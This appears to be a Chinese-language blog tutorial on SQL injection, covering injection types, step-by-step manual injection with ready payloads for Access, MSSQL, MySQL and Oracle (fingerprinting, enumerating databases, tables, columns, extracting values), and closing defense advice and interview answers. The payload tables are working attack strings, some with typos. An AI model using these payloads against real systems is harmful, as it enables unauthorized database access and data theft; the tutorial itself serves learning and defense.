• sql注入-原理&防御


           SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    总结一句话:SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。


    目录

    sql注入分类

    手工注入的攻击步骤

    防御


    sql注入分类

    按数据类型分类

    数字型

    后台语句可能为:

    $id=$_POST['id']

    select user,password from users where id=$id

    字符型

    后台语句可能为:

    $id=$_POST['id']

    select user,password from users where id='$id'

    区别和联系

    数字类型直接将后台接收到用户输入的内容带入到数据库中执行;而字符型将接收到的内容添加到引号内然后进行执行。

    字符型注入需要考虑语句的闭合问题,而数字类型则不存在

    按注入位置分

    GET方式注入
    注入参数以GET方式进行提交
    POST方式注入
    注入参数以POST方式进行提交
    基于cookie的注入
    后台接收cookie内的参数,在http的cookie字段中存在注入漏洞
    基于http头部的注入
    后台会接收referer或user-agent字段中的参数,http头部中的referer、user-agent字段中存在注入漏洞

    盲注

    基于UNION的注入

    首先通过order by 进行判断查询参数的数目,然后构造union查询,查看回显。有时需要将前面参数名修改为假的参数。如id=-1’ union select 1,2,3 查找页面中1,2,3的位置,在页面中显示的数字的地方构造查询的内容。若页面无回显但报错可以尝试报错注入

    基于布尔的盲注
    特点:网站页面在输入条件为true和false的情况下会显示不同,但页面中没有输出。此时需要在SQL语句之后添加条件判断。
    猜解思路:

    猜解数据库:先构造条件判断当前数据库的名字长度,然后逐字猜解数据库名。
    猜解数据表:先构造条件判断数据表的数量,然后逐个进行猜解,先猜解表名长度然后逐字猜解表名。
    猜解数据列:指定数据库中的指定表进行猜解字段,首先猜解字段的数目,然后逐个猜解字段
    猜解内容:指定数据列,先查询数据的条数,然后逐条猜解其中的内容

    基于报错的注入

    常用函数:

    updatexml(1,concat('~',SQL语句,'~'),1)

    extractvalue(1,concat('~',(SQL语句)))

    基于时间的盲注
    特点:网站页面在输入条件为真和为假返回的页面相同,但通过延时函数构造语句,可通过页面响应时间的不同判断是否存在注入
    猜解思路:
    类似基于布尔的盲注,只是将条件为真转换为延时响应
    常用函数

    if(condition,A,B):若condition返回真则执行A,假则执行B
    substr(str,A,B):字符串截取函数,截取str字符串从A位置开始,截取B个字符
    left(str,A):类似字符串截取函数,返回str字符串从左往右数的A个字符
    count(A):计算A的数目,常用与查询数据表、数据列、数据内容的条数
    len(A):计算A的长度,常用于返回数据库名、数据表名、数据列名的长度
    ascii(A):返回A的ascii码,当逐字猜解限制单引号的输入时,可以通过查询ascii码来绕过

    宽字节注入
    宽字节注入的原理即为数据库的编码与后台程序的编码不一致,数据库中一个字符占两个字节,而后台程序为一个字符占一个字节,当后台程序对输入的单引号的字符进行转义时,通过在这些转义的字符前输入%bf然后将%bf’带入后台程序时会转义为%bf’,此时带入数据库中,数据库将%bf看作是一个中文字符从而使用单引号将SQL语句进行闭合。

    还有一些少见的注入,比如二次注入,base64加密注入等,以后再整理进去


    手工注入的攻击步骤

    (这里语句太多了,我还是去复制黏贴一下别人的博客吧)

    1、确认目标参数

    我们首先要确定要测试哪些参数。在以前参数还是比较容易确定的,比如前面说的http://example.com/app/accountView?id=1,问号后边的参数大多是动态参数。

    但现在都讲restful,所以首先参数并不一定在问号后边,比如url可能变成http://example.com/app/accountView/1/这样的;其次大多参数都是post的,所以目标要从url更多转移到post数据上。

    2、确认动态参数

    动态参数就是带入数据库的参数,很多参数是不带入数据库的而只有带入数据库的参数才有可能导致sql注入,所以我们需要确认哪些参数是动态参数。

    没具体去分析sqlmap等工具是怎么确定一个参数是不是动态参数,我们可以使用前面说的单引号法和1=1/1=2法,如果参数有过滤不能注入那我们权当他不是动态参数也一样的。

    3、爆出数据库类型

    因为虽然数据库都兼容sql92但不同的数据库其具有的系统库表和扩展功能都是不一样的,这导致我们后续查询库名、表名、列名具体注入语句会随数据库的不同而有差异,所以首先要确认服务端使用的是什么数据库,是oracle还是mysql还是其他。

    和检测操作系统等类似,判断是什么数据库也是用“指纹”的形式,数据库的指纹就是数据库支持的注释符号、系统变量、系统函数、系统表等,所以应该可以整理出更多的检测语句。

    数据库

    注入语句                  

    原理                                               用处                                
    access and user>0 user是mssql内置变量,类型为nvarchar;nvarchar与int比较会报错 msqql和access报错不一样可区分数据库是mssql还是access
    mssql

    and (select count(*) from sysobjects) >= 0

    and (select count(*) from msysobjects) >= 0

    mssql存在sysobjects不存在msysobjects,上句不会报错下句会报错

    access不存在sysobjects存在msysobjects,上句会报错下句不会报错

    可用于确认数据库是mssql还是access
    mysql

    select @@version

    select database()

    @@version是mysql的内置变量

    database()是mysql的内置函数

    如果返回正常则说明是oracle
    oracle

    and exists(select * from dual)

    and (select count(*) from user_tables)>0 --

    dual和user_tables是oracle的系统表 如果返回正常则说明是oracle
    multl

    /*

    --

    ;

    mysql支持的注释

    mssql和oracle支持的注释

    oracle不支持多行

    报错说明不是mysql

    不报错可能是mssql或oracle

    报错极有可能是oracle

    4、爆出数据库名
    数据库 注入语句                                                                说明                                                            
    access   access一个数据库对应一个文件,获取文件名没有很大意义
    mssql

    and db_name() = 0

    and db_name(n) > 0

    从返回的报错信息中可获取当前数据库名

    返回的报错信息中有第n个数据库的库名

    mysql

    and 1=2 union select 1,database()/*

    and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1

    select group_concat(schema_name) from information_schema.schemata

    爆出当前数据库名

    n为几就返回第几个数据库的库名返回空就表示没有更多数据库了

    返回所有数据库名

    oracle

    and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual

    and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一库名'),4,5... from dual

    返回第一个库名

    返回当前用户所拥有的下一库名

    5、猜解数据库表名
    数据库 注入语句                                                                           说明                                               
    access

    and exists(select * from table_name)

    and (select count(*) from table_name) >= 0

    不断测试table_name

    如果返回正常那说明该表存在

    mssql

    and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 --

    and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0--

    and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) --

    可爆出当前数据库表的数量

    n为几就输出第几张表的表名

    n为几就输出db_name库第几张表的表名

    mysql

    and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1--

    select group_concat(table_name) from information_schema.tables where table_schema=database()

    n为几就返回当前第几张表的表名

    返回当前库的所有表名

    oracle

    and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual

    and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual

    and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual

    返回第一个表名

    返回下一个表名

    返回包含pass的表名

    6、猜解字段名

    数据库 注入语句                                                                             说明                                             
    access

    and exists(select column_name from table_name)

    and (select count(column_name) from table_name) >=0

    table_name使用上一步得到的表名,不断试column_name

    如果返回正常则说明该字段存在

    mssql

    having 1=1 --

    group by 字段名1 having 1=1 --

    group by 字段名1,字段名2 having 1=1 --

    可获取表名和第一个字段名

    可以得到第二个字段名

    可以得到第三个字段名

    mysql

    and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1--

    select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name

    ascii_table_name表示要查的表的表句的十六进制型示n为几就返回第几字段的字段名

    返回指定表名的所有字段

    oracle

    and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual

    and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual

    返回第一个字段名

    返回下一个字段名

    7、猜解字段值

    获取字段内容,各数据库的方法是比较通用的,当然也有一些自己特色的获取方法我这里就不管了

    方法一:逐字节猜解法

    首先猜解出字段长度,然后再逐字节猜解。

    and (select top 1 len(column_name) from table_name > 1

    and (select top 1 len(column_name) from table_name > 2

    ..

    and (select top 1 len(column_name) from table_name > n-1

    and (select top 1 len(column_name) from table_name > n

    当n-1正常n错误时说明字段长度为n(二分法快一些)

    and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0

    and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1

    ..

    and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1

    and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n

    n-1正常n错误时说明字段值第一位ascii码值为n,再使用mid(cloumn_name,2,1)等继续猜解后续各个位直至n即可

    方法二:union select法

    上边的逐字节猜解法是相当费劲的,使用union select能更快捷地获取字段值。

    由于union select要求两边的select返回的select字段数要一样,所以首先使用order by猜解前边select返回结果的字段数:

    order by 1

    order by 2

    ...

    order by n-1

    order by n

    n-1正常,n报错时说明原先select字段数为n

    然后使用union select查出表中内容

    and 1=2 union select 1,2...,n from table_name----and 1=2是为了使原本的select结果为空,页面中出现数字x说明该处是显示的是第x字段的结果将x替换为字段名该处即会呈现该字段的内容

    and 1=2 union select 1,2..,column_name..,n from table_name----上边的x替换成column_name,页面中x处即会显示column_name字段的内容

    防御

    代码层面

    1、对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。

    2、限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。

    3、使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。

    4、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

    5、数据长度应该严格规定。

    6、网站每个数据层的编码统一。

    网络层面

    1、部署防火墙

    2、升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。

    面试题:

    如何进行SQL注入的防御

    1. 关闭应用的错误提示

    2. 加waf

    3. 对输入进行过滤

    4. 限制输入长度

    5. 限制好数据库权限,drop/create/truncate等权限谨慎grant

    6. 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。

    7. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5

    8. 清晰的编程规范,结对/自动化代码 review ,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。

    9. 具体的语言如何进行防注入,采用什么安全框架

    参考:

    https://www.cnblogs.com/lsdb/p/9612424.html

    https://blog.csdn.net/BeatRex/article/details/91901196

  • 相关阅读:
    组合模式
    迭代器模式
    模板方法模式
    外观模式
    适配器模式
    运行mysql时,提示Table ‘performance_schema.session_variables’ doesn’t exist
    idea maven 打包 引用本地jar
    centos7 安装redis
    centos7 防火墙
    linux 常用命令
  • 原文地址:https://www.cnblogs.com/simon7s/p/12420632.html
Copyright © 2020-2023  润新知